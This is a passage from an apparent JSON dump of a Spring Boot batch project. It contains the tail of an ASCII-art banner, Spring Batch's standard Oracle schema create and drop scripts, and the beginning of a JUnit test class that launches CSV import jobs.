...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/resources/sql/schema-drop-oracle10g.sql",
    "content": "-- Autogenerated: do not edit this file\n\nDROP TABLE  BATCH_STEP_EXECUTION_CONTEXT ;\nDROP TABLE  BATCH_JOB_EXECUTION_CONTEXT ;\nDROP TABLE  BATCH_STEP_EXECUTION ;\nDROP TABLE  BATCH_JOB_EXECUTION_PARAMS ;\nDROP TABLE  BATCH_JOB_EXECUTION ;\nDROP TABLE  BATCH_JOB_INSTANCE ;\n\nDROP SEQUENCE  BATCH_STEP_EXECUTION_SEQ ;\nDROP SEQUENCE  BATCH_JOB_EXECUTION_SEQ ;\nDROP SEQUENCE  BATCH_JOB_SEQ ;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/resources/sql/schema-oracle10g.sql",
    "content": "-- Autogenerated: do not edit this file\n\nCREATE TABLE BATCH_JOB_INSTANCE  (\n\tJOB_INSTANCE_ID NUMBER(19,0)  NOT NULL PRIMARY KEY ,\n\tVERSION NUMBER(19,0) ,\n\tJOB_NAME VARCHAR2(100) NOT NULL,\n\tJOB_KEY VARCHAR2(32) NOT NULL,\n\tconstraint JOB_INST_UN unique (JOB_NAME, JOB_KEY)\n) ;\n\nCREATE TABLE BATCH_JOB_EXECUTION  (\n\tJOB_EXECUTION_ID NUMBER(19,0)  NOT NULL PRIMARY KEY ,\n\tVERSION NUMBER(19,0)  ,\n\tJOB_INSTANCE_ID NUMBER(19,0) NOT NULL,\n\tCREATE_TIME TIMESTAMP NOT NULL,\n\tSTART_TIME TIMESTAMP DEFAULT NULL ,\n\tEND_TIME TIMESTAMP DEFAULT NULL ,\n\tSTATUS VARCHAR2(10) ,\n\tEXIT_CODE VARCHAR2(3600) ,\n\tEXIT_MESSAGE VARCHAR2(3600) ,\n\tLAST_UPDATED TIMESTAMP,\n\tJOB_CONFIGURATION_LOCATION VARCHAR(2500) NULL,\n\tconstraint JOB_INST_EXEC_FK foreign key (JOB_INSTANCE_ID)\n\treferences BATCH_JOB_INSTANCE(JOB_INSTANCE_ID)\n) ;\n\nCREATE TABLE BATCH_JOB_EXECUTION_PARAMS  (\n\tJOB_EXECUTION_ID NUMBER(19,0) NOT NULL ,\n\tTYPE_CD VARCHAR2(6) NOT NULL ,\n\tKEY_NAME VARCHAR2(200) NOT NULL ,\n\tSTRING_VAL VARCHAR2(3000) ,\n\tDATE_VAL TIMESTAMP DEFAULT NULL ,\n\tLONG_VAL NUMBER(19,0) ,\n\tDOUBLE_VAL NUMBER ,\n\tIDENTIFYING CHAR(1) NOT NULL ,\n\tconstraint JOB_EXEC_PARAMS_FK foreign key (JOB_EXECUTION_ID)\n\treferences BATCH_JOB_EXECUTION(JOB_EXECUTION_ID)\n) ;\n\nCREATE TABLE BATCH_STEP_EXECUTION  (\n\tSTEP_EXECUTION_ID NUMBER(19,0)  NOT NULL PRIMARY KEY ,\n\tVERSION NUMBER(19,0) NOT NULL,\n\tSTEP_NAME VARCHAR2(100) NOT NULL,\n\tJOB_EXECUTION_ID NUMBER(19,0) NOT NULL,\n\tSTART_TIME TIMESTAMP NOT NULL ,\n\tEND_TIME TIMESTAMP DEFAULT NULL ,\n\tSTATUS VARCHAR2(10) ,\n\tCOMMIT_COUNT NUMBER(19,0) ,\n\tREAD_COUNT NUMBER(19,0) ,\n\tFILTER_COUNT NUMBER(19,0) ,\n\tWRITE_COUNT NUMBER(19,0) ,\n\tREAD_SKIP_COUNT NUMBER(19,0) ,\n\tWRITE_SKIP_COUNT NUMBER(19,0) ,\n\tPROCESS_SKIP_COUNT NUMBER(19,0) ,\n\tROLLBACK_COUNT NUMBER(19,0) ,\n\tEXIT_CODE VARCHAR2(3600) ,\n\tEXIT_MESSAGE VARCHAR2(3600) ,\n\tLAST_UPDATED TIMESTAMP,\n\tconstraint JOB_EXEC_STEP_FK foreign key (JOB_EXECUTION_ID)\n\treferences BATCH_JOB_EXECUTION(JOB_EXECUTION_ID)\n) ;\n\nCREATE TABLE BATCH_STEP_EXECUTION_CONTEXT  (\n\tSTEP_EXECUTION_ID NUMBER(19,0) NOT NULL PRIMARY KEY,\n\tSHORT_CONTEXT VARCHAR2(3600) NOT NULL,\n\tSERIALIZED_CONTEXT CLOB ,\n\tconstraint STEP_EXEC_CTX_FK foreign key (STEP_EXECUTION_ID)\n\treferences BATCH_STEP_EXECUTION(STEP_EXECUTION_ID)\n) ;\n\nCREATE TABLE BATCH_JOB_EXECUTION_CONTEXT  (\n\tJOB_EXECUTION_ID NUMBER(19,0) NOT NULL PRIMARY KEY,\n\tSHORT_CONTEXT VARCHAR2(3600) NOT NULL,\n\tSERIALIZED_CONTEXT CLOB ,\n\tconstraint JOB_EXEC_CTX_FK foreign key (JOB_EXECUTION_ID)\n\treferences BATCH_JOB_EXECUTION(JOB_EXECUTION_ID)\n) ;\n\nCREATE SEQUENCE BATCH_STEP_EXECUTION_SEQ START WITH 0 MINVALUE 0 MAXVALUE 9223372036854775807 NOCYCLE;\nCREATE SEQUENCE BATCH_JOB_EXECUTION_SEQ START WITH 0 MINVALUE 0 MAXVALUE 9223372036854775807 NOCYCLE;\nCREATE SEQUENCE BATCH_JOB_SEQ START WITH 0 MINVALUE 0 MAXVALUE 9223372036854775807 NOCYCLE;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/test/java/com/xncoding/service/BatchServiceTest.java",
    "content": "package com.xncoding.service;\n\nimport com.xncoding.trans.Application;\nimport com.xncoding.trans.config.properties.CommonProperties;\nimport com.xncoding.trans.modules.common.anno.TableName;\nimport com.xncoding.trans.modules.common.vo.*;\nimport com.xncoding.trans.service.CsvService;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.batch.core.Job;\nimport org.springframework.batch.core.JobParameters;\nimport org.springframework.batch.core.JobParametersBuilder;\nimport org.springframework.batch.core.launch.JobLauncher;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport javax.annotation.Resource;\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertNull;\n\n\n/**\n * BatchServiceTest\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/2\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class)\npublic class BatchServiceTest {\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n    @Autowired\n    private CommonProperties p;\n    @Autowired\n    private JobLauncher jobLauncher;\n\n    @Autowired\n    @Qualifier(\"commonJob\")\n    private Job commonJob;\n\n    @Autowired\n    @Qualifier(\"vtollJob\")\n    private Job vtollJob;\n\n    @Autowired\n    @Qualifier(\"cantonJob\")\n    private Job cantonJob;\n\n    @Autowired\n    @Qualifier(\"zappJob\")\n    private Job zappJob;\n\n    @Autowired\n    @Qualifier(\"zlogJob\")\n    private Job zlogJob;\n\n    @Resource\n    private CsvService csvService;\n\n    private static final String KEY_JOB_NAME = \"input.job.name\";\n    private static final String KEY_FILE_NAME = \"input.file.name\";\n    private static final String KEY_VO_NAME = \"input.vo.name\";\n    private static final String KEY_COLUMNS = \"input.columns\";\n    private static final String KEY_SQL = \"input.sql\";\n\n    @Test\n    public void testBudgetVtoll() throws Exception {\n        JobParameters jobParameters = new JobParametersBuilder()\n                .addLong(\"time\", System.currentTimeMillis())\n                .addString(\"input.file.name\", p.getCsvVtoll())\n                .toJobParameters();\n        jobLauncher.run(vtollJob, jobParameters);\n        logger.info(\"Main线程执行完成\");\n        while (true) {\n            Thread.sleep(2000000L);\n        }\n    }\n    @Test\n    public void testCanton() throws Exception {\n        JobParameters jobParameters = new JobParametersBuilder()\n                .addLong(\"time\", System.currentTimeMillis())\n                .addString(\"input.file.name\", p.getCsvCanton())\n                .toJobParameters();\n        jobLauncher.run(cantonJob, jobParameters);\n        logger.info(\"Main线程执行完成\");\n\n        while (true) {\n            Thread.sleep(2000000L);\n        }\n    }\n\n    /**\n     * 测试一个配置类，可同时运行多个任务\n     * @throws Exception 异常\n     */\n    @Test\n    public void testCommonJobs() throws Exception {\n        JobParameters jobParameters1 = new JobParametersBuilder()\n                .addLong(\"time\",System.currentTimeMillis())\n                .addString(KEY_JOB_NAME, \"App\")\n                .addString(KEY_FILE_NAME, p.getCsvApp())\n                .addString(KEY_VO_NAME, \"com.xncoding.trans.modules.zapp.App\")\n                .addString(KEY_COLUMNS, String.join(\",\", new String[]{\n                        \"appid\", \"zname\", \"flag\"\n                }))\n                .addString(KEY_SQL, \"insert into z_test_App (appid, zname, flag) values(:appid, :zname, :flag)\")\n                .toJobParameters();\n        jobLauncher.run(commonJob, jobParameters1);\n\n        JobParameters jobParameters2 = new JobParametersBuilder()\n                .addLong(\"time\",System.currentTimeMillis())\n                .addString(KEY_JOB_NAME, \"Log\")\n                .addString(KEY_FILE_NAME, p.getCsvLog())\n                .addString(KEY_VO_NAME, \"com.xncoding.trans.modules.zlog.Log\")\n                .addString(KEY_COLUMNS, String.join(\",\", new String[]{\n                        \"logid\", \"msg\", \"logtime\"\n                }))\n                .addString(KEY_SQL, \"insert into z_test_Log (logid, msg, logtime) values(:logid, :msg, :logtime)\")\n                .toJobParameters();\n        jobLauncher.run(commonJob, jobParameters2);\n\n        logger.info(\"Main线程执行完成\");\n\n        while (true) {\n            Thread.sleep(2000000L);\n        }\n    }\n\n    /**\n     * 一起测试4个CSV文件导入\n     * @throws Exception 异常\n     */\n    @Test\n    public void testImportCsv4() throws Exception {\n        JobParameters jobParameters1 = new 